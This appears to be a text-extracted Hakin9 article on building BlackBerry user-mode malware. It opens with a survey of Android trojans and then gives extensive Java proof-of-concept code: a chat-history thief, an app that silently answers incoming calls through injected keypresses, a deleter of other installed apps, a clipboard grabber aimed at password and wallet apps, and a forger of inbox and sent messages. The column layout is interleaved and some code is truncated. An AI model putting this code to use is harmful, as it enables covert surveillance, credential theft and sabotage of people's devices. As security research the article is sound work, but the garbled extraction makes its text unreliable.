when developers api simplify user mode rootkits development – part ii

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In a previous article, several cases were mentioned along with ideas on how a mobile rootkit could easily be built on the application level by exploiting API and

privilege escalation vulnerabilities or oversight. Cases covered the top trojans for two years with the first one being Android Plankton. Instead of giving access to hid-den levels of this popular game, malware sends infor-mation about the device to criminals and downloads other malicious programs.

From the Android Market alone, the infected pro-gram was downloaded more than 150,000 times and from alternative resources the number of downloads reached 250,000. Android.Plankton does not exploit known vulnerabilities in operating systems to elevate its own privileges. Instead, it downloads its own ser-vice in the background immediately after the launch of the infected application and begins to collect in-formation about the device and sends it to a remote server.

Another example was the Android malware Droid-KungFu. This malware is capable of rooting the vulner-able Android phones and may successfully evade de-tection by the current mobile anti-virus software. This malware is identified from four Android apps that have been circulated among at least eight alternative Chi-nese app markets and forums. The malware will add a new service and receiver into the infected app. The re-ceiver will be notified when the system finishes booting so that it can automatically launch the service without user interaction.

Geinimi Trojan includes capacities to gain for:

• Reading and collecting SMS messages• Sending and deleting selected SMS messages

• Pulling all contact information and sending it to a remote server (number, name, the time they were last contacted)

• Placing a phone call• Silently downloading files• Launching a web browser with a specific URL

Geinimi has three different methods of starting it-self. The trojan will first launch itself as its own ser-vice. The service allows the trojan to start while the host application appears to functioning normally. Two other ways Geinimi starts revolves around Broad-castReceivers Android events occurring. The trojan will wake itself up from an SMS message. The Gein-imi trojan has encrypted the embedded data, pay-load and all communications – however, encryption is weak. The values in the request for commands can be used by the command and control server to identify information about infected devices. The lon-gitude and latitude can then be used to track the lo-cation of this specific user. Also, the trojan gathers a list of applications and their activities on the device, sends an SMS to any recipient, deletes SMSs, lists SMSs to specific contacts, lists contacts and their information, calls any number, silently downloads files and launches a web browser with a specific URL.

An SMS trojan called Trojan-SMS.AndroidOS.Fake-Player, once installed, actually sends out SMS mes-sages without the user’s knowledge or consent. Us-ers are prompted to install a small file of around 13KB (have you ever seen such a small media player?). The trojan bundled with it then begins texting premium rate phone numbers. The criminals are actually the ones

This series of articles is about the ease of which user-mode rootkits for BlackBerry can be developed.

When developers API simplify user-mode rootkits development

www.hakin9.org/en 57

Listing 1. API-routines to design malware “MEDIA PLAYER IO (Input/Output)”

import java.io.DataInputStream;

import java.io.IOException;

import java.io.OutputStream;

import javax.microedition.io.Connector;

import javax.microedition.io.file.FileConnection;

import net.rim.device.api.io.IOUtilities;

Listing 2a. Code Example how read and write files [malware “MEDIA PLAYER IO (Input/Output)”]

public static byte[] readFile(String FullName)

///FullName includes FullPath to file with file name and file extension

{

byte[] data = null; //array of data you want to return (read)

FileConnection fconn = null;

DataInputStream is = null;

try

{

fconn = (FileConnection) Connector.open(FullName, Connector.READ);

s = fconn.openDataInputStream();

data = IOUtilities.streamToBytes(is);

}

catch (IOException e) { }

finally

{

try

{

f (null != is)

{

s.close();

}

if (null != fconn)

{

fconn.close();

}

}

catch (IOException e) { }

}

return data;

}

public static void writeFile(String FullName, byte[] data)

///FullName includes FullPath to file with file name and file extension

// data is array you want to put into file

{


OutputStream os = null;

try

{

fconn = (FileConnection) Connector.open(FullName, Connector.READ_WRITE);

if (!fconn.exists())

// create file if one doesn’t exist

{

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online banking session open and live even after us-ers think they have logged out of their account. This allows criminals to extract money and continue other fraudulent activity even after the user thinks the ses-sion has ended.

BlackBerry OpportunityIs it really difficult to bring the vulnerabilities to the Black-Berry devices? We are going to see how it is really easy to port these techniques to BlackBerry devices.

The first two ideas and proof-of-concepts are about the BlackBerry file-system. As you may know, Black-Berry can encipher the whole file system as well as re-moved files. Talking about a ciphered file-system, you should understand that this feature makes sense only when all storage cards and memory are removed from devices to extract information, similar to forensic cases. Instead, when you rely on live spying you will get much more information rather trying to decipher it or get the password.

First malware concept, the so called media player, based not so much on human bugs as it is on GUI bugs. Unfortunately, humans are not the last point of

operating these numbers, so they end up collecting the money via charges to the victims’ accounts.

The trojan spyware application known as Zitmo, is de-signed to steal people’s financial data by listening to all in-coming SMS messages and forwarding them to a remote web server. That is a security risk, as some banks now send mTANs via SMS as a one-time password for authen-tication. By intercepting these passwords, it can not only create fraudulent money transfers, but also verify them.

The trojan program “OddJob” does not require fraud-sters to log into a user’s online bank account to steal from it. Instead, the malware is designed to hijack a user’s online banking session in real-time by stealing session ID tokens. By stealing the tokens and embed-ding them into their own browsers, fraudsters can im-personate a legitimate user and access accounts while the user is still active online. The access allows fraud-sters to then conduct whatever banking operations the account holder can perform. This approach is differ-ent than typical man-in-the browser attacks where at-tackers use trojans to steal login credentials that are then used to break into online accounts. The second interesting feature in OddJob is its ability to keep an

Listing 2a. Code Example how read and write files [malware “MEDIA PLAYER IO (Input/Output)”]

fconn.create();

}

os = fconn.openOutputStream(fconn.fileSize());

os.write(data);

}

catch (Exception e) { Dialog.alert(e.getMessage());

finally

{

try

{

os.close();

fconn.close();

}

catch (IOException e) { Dialog.alert(e.getMessage()); }

}

}

Listing 3. File’n’Folder TreeWalk (breifly)

Vector Path = new Vector();

Path.addElement((String) “file:///SDCard/BlackBerry/im”);

Path.addElement((String) “...” - repeat several times

Enumeration Path_enum = Path.elements();

while (Path_enum.hasMoreElements())

{

current_path = (String) Path_enum.nextElement();

to do something

}


defense when we talk about vulnerabilities, trojans, etc. Our behaviour is based on traditions of the past sometimes, as well as tools which used to change with age. In the past, access to files used to be strictly via DOS/Unix system; nowadays we have an aggregation of folders like Music, Photos, Photo-Camera’s folder, or Videos. The GUI was developed as a result of the desire for a convenient way to access files. Taking the discussion to file access on our smart phones, audio notes, photos, videos, music, and camera’s data are stored in one place (more correctly in two places, on internal storage and external storage like SD-card) and applications are allowed to access these folder paths to extract data in real-time; moreover API ac-cess to those same folders are easily obtained. Also, they may associate their listeners with a specific file format like .AMR which used to store your BlackBerry audio notes. They are often stored in the “voicenotes” folder, named as VN-20120319-xxxx.AMR. As you can see, you do not need to extract its properties to know when it was recorded; you do not even need to link (programmatically) the folder with type of file (logical level) because “VN” is a voice note. Video files are re-corded by the device and named “VID-YYYYMMDD-XXXXXX.3GP” as voice note or picture file. Photos are

named as IMG20120103-xxxx. To talk about a geo-tag per file, a “Moskva” prefix in added to file name. It is obvious why developers store the name of the file as the city part, date part and increment part. Continuous numbering is allowed in these cases, but why isn’t it developed with the increment part then the hash part at the end of file name (XXXX-hash-dot-extension)? Several file-systems differ in the way files should be sorted, but developers are still able to ask device own-ers what they prefer. Doing this makes things sim-ple, easier to control and a bit more secure, don’t you agree? Of course, our media player as malware must have a network connection to get updates despite the fact that each BlackBerry device receives update noti-fications from AppWorld and OS updates should be re-ceived via USB-cable by synchronizing with the Black-Berry Desktop Software. Instead, our application may grab news from an official site, update news, offers to share music status and steal and send cached infor-mation (Listing 1-Listing 3).

Second malware concept covers BlackBerry chats. If you turn on the option to save chat on internal storage (device) or on external storage (SD-Card) you will be notified about how you should ask interlocutor to agree with recording your chat history. By the way, it doesn’t

File Paths should be monitored/Device/Home/User/ – if information stored on internal memory/MediaCard/BlackBerry/ – if information stored on external memory../IM/AIM/USERNAME/history/ – AIMs history in csv format../IM/BlackBerryMessenger/PIN/history/ – BBMs history in csv format../IM/GoogleTalk/USERNAME/history/ – GTalks history in csv format../IM/Yahoo/USERNAME/history/ – YMessengers history in csv format../IM/WindowsLive/USERNAME/history/ – WLives history in csv format../pictures – Manully added pic or screenshoted data../camera – Photo captured data../videos – Video captured data../voice notes – Voice captured data

Figure 1. Logged BlackBerry Conversation Figure 2. Window of BlackBerry Conversation

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Figure 3. Logged Google Conversation Figure 5. Logged WinLive Conversation

Figure 4. Window of Google Conversation Figure 6. Window of WinLive Conversation

Chat DetailsAll IM chats (from application developed by RIM) files marked to be saved are often located on the same file paths

INTERNAL STORAGE: file:///store/home/user/imEXTERNAL STORAGE: file:///SDCard/BlackBerry/im

Then stores IM folder per each native IM clientIM Folders

• AIM• BlackBerry Messenger• Google Talk• Windows Live• Yahoo

Then stores folder named as your account such as

• AIM Account: [email protected]• Google Account: [email protected]• Windows Live Account: [email protected]• Yahoo Account: yury.chemerkin• BlackBerry Account: 23436780 (BlackBerry PIN)

Then stores a “history” folder which contatins .CSV files named by account name of interlocutor like [email protected]. Also, conference/group chats folder are placed here:

• AIM: Conferences• Google: Conferences• Windows Live: Conferences• Yahoo: Conferences• BlackBerry: Group Chats

BlackBerry chat csv file formatDate/Time PIN Sender PIN Receiver Data

YYYYMMDDHHMMSSMS HEX VALUE HEX VALUE STRING

Non-BlackBerry chat csv file formatDate/Time ID Sender ID Receiver Data

YYYYMMDDHHMMSSMS STRING STRING STRING

mailto:[email protected]



work for each, instead, it is a global feature; that’s why there’s no sense as you see. By default this feature is turned off. However, if you turn on saving you will be sur-prised by the fact that your data is stored in clear-text. Don’t think that only Google, Yahoo, or another non-BlackBerry doesn’t encipher them; BlackBerry chats are still not encrypted. Also, Shape IM+ for Linux relies on the root folder only without encryption. Note, that Yahoo Messenger, AIM (AOL) Messenger, Windows Live Mes-senger, Google Messenger and BlackBerry Messenger are developed by RIM. However, there’s a native secu-rity solution: no .CSV format by the device except for special programs. Just copy this file to a PC and open it with Notepad. To see formatted chats, you should open it with Excel or OpenOffice.

Summary

• File-system ciphering isn’t developed for live spying• Chats stored in clear-text• You can’t read them with device

• The same way to store chats• You need to turn on saving option feature• Notepad or Excel to see them (Figure 1-Figure 10,

Listing 4)

Third malware concept is based on several APIs act-ing in stealth mode. At first, you have to catch incom-ing call events, secondly, you have to simulate an an-swer event by simulating pressing of the answer but-ton and then you should hide the caller screen to get back the home screen by simulating/pressing the es-cape button. Answer simulating refers to the Keypad.KEY _ SEND; to release pressing you have to press and release button by simulating KeyCodeEvent.KEY _ DOWN and KeyCodeEvent.KEY _ UP. Before you do this, you should understand that at least 1 second should pass when you get an incoming event to draw a native call-er to the screen you managed. Then (when accept-ing an incoming call) you should hide via Keypad.

KEY _ ESCAPE, however if you press the escape button you will be asked whether or not to go to the home

Figure 7. Logged Yahoo Conversation Figure 9. Logged AIM (AOL) Conversation

Figure 8. Window of Conversation Figure 10. Window of AIM (AOL) Conversation

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Listing 4a. IM Chat Thief

package blackberryChatThief;


import java.io.InputStream;

import java.io.OutputStream;

import java.util.Enumeration;

import java.util.Vector;




import net.rim.device.api.io.file.ExtendedFileConnection;

import net.rim.device.api.ui.Field;

import net.rim.device.api.ui.FieldChangeListener;

import net.rim.device.api.ui.component.ButtonField;

import net.rim.device.api.ui.component.Dialog;

import net.rim.device.api.ui.container.MainScreen;

public class BlackBerryChatThiefScreen extends MainScreen implements FieldChangeListener

public BlackBerryChatThiefScreen()

{

setTitle(“BlackBerry Chat Thief Application”);

checkButton = new ButtonField(ButtonField.CONSUME_CLICK | ButtonField.FIELD_HCENTER);

checkButton.setLabel(“Steal your own chat :)”);

checkButton.setChangeListener(this);

add(checkButton);

exitButton = new ButtonField(ButtonField.CONSUME_CLICK | ButtonField.FIELD_HCENTER);

exitButton.setLabel(“Exit”);

exitButton.setChangeListener(this);

add(exitButton);

}

public void fieldChanged(Field field, int param)

{

if (field == checkButton)

{

String string_result;

try

{

Vector Path = new Vector();

String current_path = new String();

String current_im = new String();

String current_id = new String();

String current_conv = new String();

String root_dir = new String();


Listing 4b. IM Chat Thief

Vector log = new Vector();

FileConnection root_sdcard = null;

FileConnection root_store = null;

try

{

root_sdcard = (FileConnection)Connector.open(“file:///SDCard/”);

}

catch (IOException ex)

{

log.addElement((String) “SDCard not found”);

}

try

{

root_store = (FileConnection)Connector.open(“file:///store/”);

}

catch (IOException ex)

{

log.addElement((String) “store not found”);

}

if ((root_sdcard != null) && root_sdcard.exists())

{

root_dir = “file:///SDCard/”;

Path.addElement((String) “file:///SDCard/BlackBerry/im”);

}

else if ((root_store != null) && root_store.exists())

{

root_dir = “file:///store/home/user/”;

Path.addElement((String) “file:///store/home/user/im”);

}

Enumeration Path_enum = Path.elements();

FileConnection copyf = (FileConnection)Connector.open(root_dir + “chat.txt”);

if (copyf.exists())

{

copyf.delete();

}

copyf.create();

OutputStream writer = copyf.openOutputStream();

FileConnection logger = (FileConnection)Connector.open(root_dir + “log.txt”);

if (logger.exists())

{

logger.delete();

}

logger.create();

OutputStream logwriter = logger.openOutputStream();

if (!Path_enum.hasMoreElements())

{

logwriter.write((“Directory [“ + Path + “] doesn’t have subdirs\r\n”).

getBytes());

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Listing 4c. IM Chat Thief

logwriter.flush();

}

else

while (Path_enum.hasMoreElements())

{

logwriter.write((“Directory [“ + Path + “] has subdirs\r\n”).getBytes());

logwriter.flush();

current_path = (String) Path_enum.nextElement();

FileConnection IM_dir = (FileConnection)Connector.open(current_path);

if (!IM_dir.exists())

{

logwriter.write((“Path [“ + IM_dir.getURL() + “] doesn’t found\

r\n”).getBytes());

logwriter.flush();

}

else

{

logwriter.write((“Path [“ + IM_dir.getURL() + “] founds\r\n”).getBytes());

logwriter.flush();

Enumeration IM_list = IM_dir.list();

if (!IM_list.hasMoreElements())

{

logwriter.write((“Directory [“ + IM_dir.getURL() + “] doesn’t have

subdirs\r\n”).getBytes());

logwriter.flush();

}

else

while (IM_list.hasMoreElements())

{

logwriter.write((“Directory [“ + IM_dir.getURL() + “] has subdirs\


logwriter.flush();

current_path = IM_dir.getURL() + (String) IM_list.nextElement();

FileConnection ID = (FileConnection)Connector.open(current_path);

if (!ID.exists())

{

logwriter.write((“Path [“ + ID.getURL() + “] doesn’t found\r\n”).

getBytes());

logwriter.flush();

}

else

{

logwriter.write((“Path [“ + ID.getURL() + “] founds\r\n”).

getBytes());

logwriter.flush();

current_im = “CURRENT IM TYPE :: “ + ID.getName().substring(0,

ID.getName().length() - 1) + “\r\n”;


Listing 4d. IM Chat Thief

//current_im = “\r\n--------IM SEPARATOR------\r\n” + current_im;

Enumeration ID_list = ID.list();

if (!ID_list.hasMoreElements())

{

logwriter.write((“Directory [“ + ID.getURL() + “] doesn’t have

subdirs\r\n”).getBytes());

logwriter.flush();

}

else

while (ID_list.hasMoreElements())

////if (ID_list.hasMoreElements())

{

logwriter.write((“Directory [“ + ID.getURL() + “] has subdirs\


logwriter.flush();

current_path = ID.getURL() + (String) ID_list.nextElement() +

“history”;

FileConnection history_dir = (FileConnection)Connector.

open(current_path);

if (!history_dir.exists())

{

logwriter.write((“Directory [“ + history_dir.getURL() + “]

doesn’t exist\r\n”).getBytes());

logwriter.flush();

}

else

{

current_id = current_path.substring(0, current_path.length()

- (“/history”).length());

current_id = current_id.substring(ID.getURL().length(),

current_id.length());// - ID.getURL().length());

//current_id = “\r\n--------ID SEPARATOR------\r\n” + current_id;

current_id = “CURRENT ID :: “ + current_id + “\r\n”;

Enumeration chats = history_dir.list();

if (!chats.hasMoreElements())

{

logwriter.write((“Directory [“ + history_dir.getURL() +

“] doesn’t have subdirs\r\n”).getBytes());

logwriter.flush();

}

else

{

logwriter.write((“Directory [“ + history_dir.getURL() +

“] has subdirs\r\n”).getBytes());

logwriter.flush();

while (chats.hasMoreElements())

{

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Listing 4e. IM Chat Thief

current_path = history_dir.getURL() + (String)

chats.nextElement();

ExtendedFileConnection chat_file =

(ExtendedFileConnection)Connector.open(current_path);

if (!chat_file.isDirectory() & !chat_file.getName().

endsWith(“rem”))

{

current_conv = chat_file.getName();

//current_conv = “\r\n--------CHAT SEPARATOR----

--\r\n” + current_conv;

current_conv = “CURRENT CHAT :: “ + current_conv + “\r\nCHAT :: \r\n”;

byte[] array = new byte[(int) chat_file.

fileSize()];

InputStream raw_reader = chat_file.

openInputStream();

array = IOUtilities.streamToBytes(raw_reader);

raw_reader.close();

logwriter.write((“CSV [“ + chat_file.getURL() +

“] has read\r\n”).getBytes());

logwriter.flush();

writer.write(current_im.getBytes());

writer.write(current_id.getBytes());

writer.write(current_conv.getBytes());

writer.write(array);

writer.write((“\r\n--------separator------

\r\n”).getBytes());

logwriter.write((“CSV [“ + chat_file.getURL() +

“] has written\r\n”).getBytes());

logwriter.flush();

}

}

}

}

}

}

}

}

}

logwriter.write((“DONE\r\n”).getBytes());

logwriter.flush();

string_result = “DONE”;

writer.flush();

writer.close();

logwriter.flush();

logwriter.close();

copyf.close();


screen. Therefore malware has to simulate an agree-ment via Keypad.KEY _ ENTER to successfully bypass the user eyes. Where it is all at, no one has another API to make your own caller screen and manage the in-

coming calls. To extend impacting to simulate phys-ical input, you can read my 2nd article (Hakin9, Is Data Secure On The Password Protected Blackber-ry Device). However, it is easy to put a symbol in the

Listing 4f. IM Chat Thief

}

catch (Exception ex)

{

string_result = ex.toString() + “||” + ex.getMessage();

}

Dialog.alert(string_result);

}

else if (field == exitButton)

{

System.exit(0);

}

}

}

Figure 12. Incoming Call

Figure 11. Before Call Figure 13. Answering

Figure 14. Escaping to the Home Screen

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Listing 5a. Caller Malware

package blackBerryPhoneEmulation;

import net.rim.blackberry.api.phone.Phone;

import net.rim.blackberry.api.phone.PhoneCall;

import net.rim.blackberry.api.phone.PhoneListener;

import net.rim.device.api.system.EventInjector;

import net.rim.device.api.system.EventInjector.KeyCodeEvent;

import net.rim.device.api.ui.UiApplication;

public class BlackBerryPhoneEmulationApp extends UiApplication implements PhoneListener

{

int sleep_time = 1000;

public static void main(String[] args)

{

BlackBerryPhoneEmulationApp theApp = new BlackBerryPhoneEmulationApp();

theApp.enterEventDispatcher();

}

public BlackBerryPhoneEmulationApp()

{

pushScreen(new BlackBerryPhoneEmulationScreen());

Phone.addPhoneListener(this);

}

public void close()

{

Phone.removePhoneListener(this);

System.exit(0);

}

public void callIncoming(int callId)

{

final PhoneCall call = Phone.getCall(callId);

final String number = call.getDisplayPhoneNumber();

EventInjector.KeyCodeEvent pressKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_

DOWN, (char) Keypad.KEY_SEND, 0);

EventInjector.KeyCodeEvent releaseKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.

KEY_UP, (char) Keypad.KEY_SEND, 0);

try

{

Thread.sleep(sleep_time);

}

catch (InterruptedException e) {}

EventInjector.invokeEvent(pressKey);

EventInjector.invokeEvent(releaseKey);

}


Listing 5b. Caller Malware

public void callAdded(int callId) {}

public void callAnswered(int callId) {}

public void callConferenceCallEstablished(int callId) {}

public void callConnected(int callId)

{

EventInjector.KeyCodeEvent pressKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_DOWN, (char)

Keypad.KEY_ESCAPE, 0);

EventInjector.KeyCodeEvent releaseKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_UP, (char)

Keypad.KEY_ESCAPE, 0);

try

{


// Waiting a caller screen have been drawn

}


}



///Releasing Escaping to the Home Screen

pressKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_DOWN, (char) Keypad.KEY_ENTER, 0);

eleaseKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_UP, (char) Keypad.KEY_ENTER, 0);

try

{


//Waiting prompt screen have been drawn

}




///Accepting Escaping to the Home Screen

}

public void callDirectConnectConnected(int callId) {}

public void callDirectConnectDisconnected(int callId) {}

public void callDisconnected(int callId) {}

public void callEndedByUser(int callId) {}

public void callFailed(int callId, int reason) {}

public void callHeld(int callId) {}

public void callInitiated(int callid) {}

public void callRemoved(int callId) {}

public void callResumed(int callId) {}

public void callWaiting(int callid) {}

public void conferenceCallDisconnected(int callId) {}

}

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text field, while putting a string by one symbol and track-wheel moving is too difficult although it may be enough to input passwords (Figure 11-Figure 14, List-ing 5).

Fourth malware concept is about destructive inter-action. What is a common thesis when someone talks about security? A security component must not be delet-ed because it brings down a security wall. Why doesn’t malware delete all applications and modules installed on your device? Some applications consist of several modules and one removed crash down after the first successful reboot. Another attack vector, BlackBerry Enterprise Server offers application controlling by re-sending modules to selected devices regarding IT Pol-icy. If a malware application turns off wireless to crash the device then no one policy saves the device. When you install an application you are asked to choose per-missions that you grant to this application. As you know from my articles about screenshot catching, the device sometimes should ask what windows are allowed to in-teract with screenshot and which aren’t allowed. This case is the same and all you need to delete other appli-cations is a name and permission to interact with Appli-cation Manager. How do you extract data about applica-tions? The easiest way to interrupt user flows is to grab active applications at current time via ApplicationManager.getApplicationManager().getVisibleApplications();. When the application list has got malware grabs Localized-Name and ModuleHandle to find them in Application Manager lists and deletes by using: ModuleHandle. That’s all (Figure 15-Figure 18, Listing 6).

Fifth malware concept manages with Clipboard. From previous zsndroid malware cases I retell in the begin-ning you learn password may extract from SMS or GET/POST requests. My case refers to Password Keeper and BlackBerry Wallet, which are both developed by RIM; also, it is native and pre-installed by default. The first application is designed to keep passwords more than the second, which is designed to keep not only passwords but also banking data. Extract essential in-formation stored in BlackBerry backups. Elcomsoft BlackBerry Backup Explorer allows forensic specialists

Figure 16. Details of Victim Apps

Figure 17. App List with deleted victim app

Figure 15. App list with Victim app Figure 18. Details of deleted victim app


Listing 6a. Code Example how find application among set of applications already running and how delete application

package blackBerryDeleterpackage;

import net.rim.device.api.system.ApplicationDescriptor;

import net.rim.device.api.system.ApplicationManager;

import net.rim.device.api.system.CodeModuleManager;





public final class BlackBerryDeleterScreen extends MainScreen implements FieldChangeListener

{

ButtonField bt_find = null;

ButtonField bt_delete = null;

TextField tf2 = null;

String stf2 = “”;

public BlackBerryDeleterScreen()

{

// Set the displayed title of the screen

setTitle(“BlackBerryDeleterTitle”);

bt_find = new ButtonField();

bt_delete = new ButtonField();

tf2 = new TextField();

bt_find.setLabel(“FIND APP”);

bt_delete.setLabel(“DEL APP”);

bt_find.setChangeListener(this);

bt_delete.setChangeListener(this);

tf2.setLabel(“INFO\r\n”);

add(tf2);

add(bt_find);

add(bt_delete);

}

public void fieldChanged(Field field, int context)

{

if (field == bt_find)

//BUTTON “FIND APPLICATION”

{

try

{

int curr_app = ApplicationDescriptor.currentApplicationDescriptor().getModuleHandle();

ApplicationDescriptor desc = null;

ApplicationDescriptor[] descs = null;

try

{

descs = ApplicationManager.getApplicationManager().

getVisibleApplications();

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Listing 6b. Code Example how find application among set of applications already running and how delete application

int handle = 0;

stf2 += “length = “ + descs.length + “\r\n”;

for (int i = 0; i < descs.length; i++)

{

stf2 += “|| “ + descs[i].getLocalizedName() + “ ||” + “\r\n”;

stf2 += “|| “ + descs[i].getModuleHandle() + “ ||” + “\r\n”;

if (descs[i].getModuleName().compareTo(“BlackBerryFILEIO”) == 0)

{

handle = descs[i].getModuleHandle();

stf2 += descs[i].getModuleName() + “\r\n”;

}

else if (descs[i].getLocalizedName().compareTo(“BlackBerry FILE IO”) == 0)

{


stf2 += descs[i].getLocalizedName() + “\r\n”;

}

}

try

{

if (handle > 0)

{

stf2 += “app found” + “\r\n”;

}

else

{

stf2 += “handle null” + “\r\n”;

}

}

catch (Exception e)

{

stf2 += e.getMessage() + “\r\n”;

}

}

catch (Exception e)

{


}

}

catch (Exception e)

{

stf2 += e.getMessage();

}

tf2.setText(stf2);

}

else if (field == bt_delete)

//BUTTON DELETE APPLICATION

{

try

{

int curr_app = ApplicationDescriptor.currentApplicationDescriptor().getModuleHandle();

ApplicationDescriptor desc = null;


Listing 6c. Code Example how find application among set of applications already running and how delete application

ApplicationDescriptor[] descs = null;

try

{

descs = ApplicationManager.getApplicationManager().getVisibleApplications();

int handle = 0;

stf2 += “length = “ + descs.length + “\r\n”;

for (int i = 0; i < descs.length; i++)

{

stf2 += “|| “ + descs[i].getLocalizedName() + “ ||” + “\r\n”;

stf2 += “|| “ + descs[i].getModuleHandle() + “ ||” + “\r\n”;

if (descs[i].getModuleName().compareTo(“BlackBerryFILEIO”) == 0)

{


stf2 += descs[i].getModuleName() + “\r\n”;

}

else if (descs[i].getLocalizedName().compareTo(“BlackBerry FILE IO”) == 0)

{


stf2 += descs[i].getLocalizedName() + “\r\n”;

}

}

try

{

if (handle > 0)

{

CodeModuleManager.deleteModuleEx(handle, true);

stf2 += “true delete” + “\r\n”;

}

else

{

stf2 += “handle null” + “\r\n”;

}

}

catch (Exception e)

{


}

}

catch (Exception e)

{


}

}

catch (Exception e)

{

stf2 += e.getMessage();

}

tf2.setText(stf2);

}

}

}

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investigating the content of BlackBerry devices by ex-tracting, analyzing, printing or exporting the content of a BlackBerry backup produced with BlackBerry Desktop Software. But Elcomsoft manages to work with export-ed data that you back up. RIM made a “good” security solution to restrict any access attempts to the clipboard while their applications are active. If you try to grab data you’ll get the error message “Unauthorized attempt to attach to this application.” Don’t panic, because when a user minimizes it or closes it, a successful data extrac-tion happens. If you want to know whether BlackBerry Wallet (or Password Keeper) is running now, use the code example on how to find application (Figure 19-Fig-ure 20, Listing 7).

Screenshotting has been discussed many times, therefore I highlight that “this feature” can easily by-pass security flows when the user restricts other per-missions. For example, if user restricts a GEO per-mission you listen to active applications for catching screen shot of a map that the user is seeing at current time. When the map application starts it often shows

Figure 20. BB Wallet. Showing & Stealing

Figure 19. BB Wallet. Creating & Stealing

Listing 7. Clipboard exploitation (How extract data to steal data, and how to put data to mislead someone)

import net.rim.device.api.ui.component.TextField;


import net.rim.device.api.system.Clipboard;

public final class BlackBerryClipboardScreen extends

MainScreen

{

public BlackBerryClipboardScreen()

{

setTitle(“BlackBerryClipboardTitle”);

Clipboard clipb = Clipboard.getClipboard();

TextField tf1 = new TextField();

add(tf1);


add(tf2);


add(tf3);

tf1.setLabel(“to_string : < “ + clipb.

toString() + “ >”);

// SHOW CLIPBOARD AS STRING OBJECT

String str = “”;

try

{

str = (String)clipb.get();

// GET CLIPBOARD DATA

}

catch (Exception e) { }

try

{

clipb.put(“PUT”);

// CLIPBOARD SET BY WORD “PUT”

}


tf2.setLabel(“getted : < “ + str + “ >”);

// SHOW THAT CLIPBOARD DATA HAS BEEN STOLEN

try

{

str = (String)clipb.get();

// GET NEW CLIPBOARD DATA

}


tf3.setLabel(“getted : < “ + str + “ >”);

// SHOW THAT CLIPBOARD SET BY WORD “PUT”

}

}


Listing 8a. MESSAGE MISLEADING

package blackBerryMessageMisleading;

import java.io.DataInputStream;


import java.util.Date;



import net.rim.blackberry.api.mail.Address;

import net.rim.blackberry.api.mail.AddressException;

import net.rim.blackberry.api.mail.Folder;

import net.rim.blackberry.api.mail.Message;

import net.rim.blackberry.api.mail.MessagingException;

import net.rim.blackberry.api.mail.Multipart;

import net.rim.blackberry.api.mail.

NoSuchServiceException;

import net.rim.blackberry.api.mail.PINAddress;

import net.rim.blackberry.api.mail.Session;

import net.rim.blackberry.api.mail.Store;

import net.rim.blackberry.api.mail.

SupportedAttachmentPart;


import net.rim.device.api.io.MIMETypeAssociations;




import net.rim.device.api.ui.component.Dialog;

import net.rim.device.api.ui.component.TextField;


public final class BlackBerryMessageMisleadingScreen

extends MainScreen implements

FieldChangeListener

{

private ButtonField checkiButton = null;

private ButtonField checkoButton = null;

private ButtonField checkpoButton = null;

private ButtonField checkpiButton = null;

private ButtonField checkiaButton = null;

TextField tf = null;

public BlackBerryMessageMisleadingScreen()

{

setTitle(“BlackBerry Message Misleading”);

TextField textfield = new TextField();

textfield.setLabel(“Mislead yourself via

BlackBerry Technology”);

add(textfield);

checkiButton = new ButtonField(ButtonField.

CONSUME_CLICK | ButtonField.FIELD_

HCENTER);

checkiButton.setLabel(“Inbox Misleading”);

checkiButton.setChangeListener(this);

add(checkiButton);

checkiaButton = new ButtonField(ButtonField.


HCENTER);

checkiaButton.setLabel(“Inbox Attach

Misleading”);

checkiaButton.setChangeListener(this);

add(checkiaButton);

checkoButton = new ButtonField(ButtonField.


HCENTER);

checkoButton.setLabel(“Outbox Misleading”);

checkoButton.setChangeListener(this);

add(checkoButton);

checkpoButton = new ButtonField(ButtonField.


HCENTER);

checkpoButton.setLabel(“OutBox PIN MISLEAD”);

checkpoButton.setChangeListener(this);

add(checkpoButton);

checkpiButton = new ButtonField(ButtonField.


HCENTER);

checkpiButton.setLabel(“InBox PIN MISLEAD”);

checkpiButton.setChangeListener(this);

add(checkpiButton);

tf = new TextField();

tf.setLabel(“enter fake pin”);

tf.setText(“”);

add(tf);

}

public void fieldChanged(Field field, int param)

{

if (field == checkoButton)

{

String res = “”;

boolean odelivered

= true;//false;\

//MESSAGE WILL BE

DELIVERED

String omessage =

“^_^”;

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Listing 8b. MESSAGE MISLEADING

//MESSAGE BODY

Address oaddress =

null;

try

{

oaddress

= new Address(“[email protected]”,

“trololo friend”);

//SET A

NEW RECIPIENT

}

catch

(AddressException e) { res +=

e.getMessage(); }

res +=

MisLeadSentMessage(oaddress,

omessage, odelivered);

//EMAIL MESSAGE

BUILDER

Dialog.alert(“Result for you :: “ + res);

}

else if (field == checkiButton)

{


String imessage =

“^_^”;

//MESSAGE BODY

Address iaddress =

null;

try

{

iaddress



//

SENDER ADDRESS

}

catch


e.getMessage(); }

res +=

MisLeadInboxMessage(iaddress,

imessage);

//EMAIL MESSAGE

BUILDER

Dialog.

alert(“Result for you :: “ + res);

}

else if (field == checkpoButton)

{

if (tf.getText().

length() > 0)

//GET RECIPIENT PIN

from fextfield

{

Dialog.

alert(MisLeadSentPIN(tf.

getText()));

//PIN

MESSAGE BUILDER

}

}

else if (field == checkpiButton)

{

if (tf.getText().

length() > 0)

//GET SENDER PIN

from textfield

{

Dialog.

alert(MisLeadInboxPIN(tf.

getText()));

//PIN

MESSAGE BUIDLER

}

}

else if (field == checkiaButton)

{


String imessage =

“^_^”;

//MESSAGE BODY

Address iaddress

= null;

try

{

iaddress



//

MESSAGE SENDER

}

catch


e.getMessage(); }

res += MisLeadInbo

xMessageAttach(iaddress, imessage);

//EMAIL MESSAGE

BUIDLER

Dialog.alert(“Result for you :: “ + res);

}

}


Listing 8c. MESSAGE MISLEADING

static String MisLeadSentMessage(Address oaddress,

String message, boolean delivered)

//BUILDER OF SENT EMAIL MESSAGE

{

String error_message = “”;

Store store = Session.

getDefaultInstance().getStore();

Folder[] folders = store.list(Folder.

SENT);

// RETRIVE A SENT FOLDER

Folder sentfolder = folders[0];

Message msg = new Message(sentfolder);

//CREATE a NEW MESSAGE IN SENT FOLDER

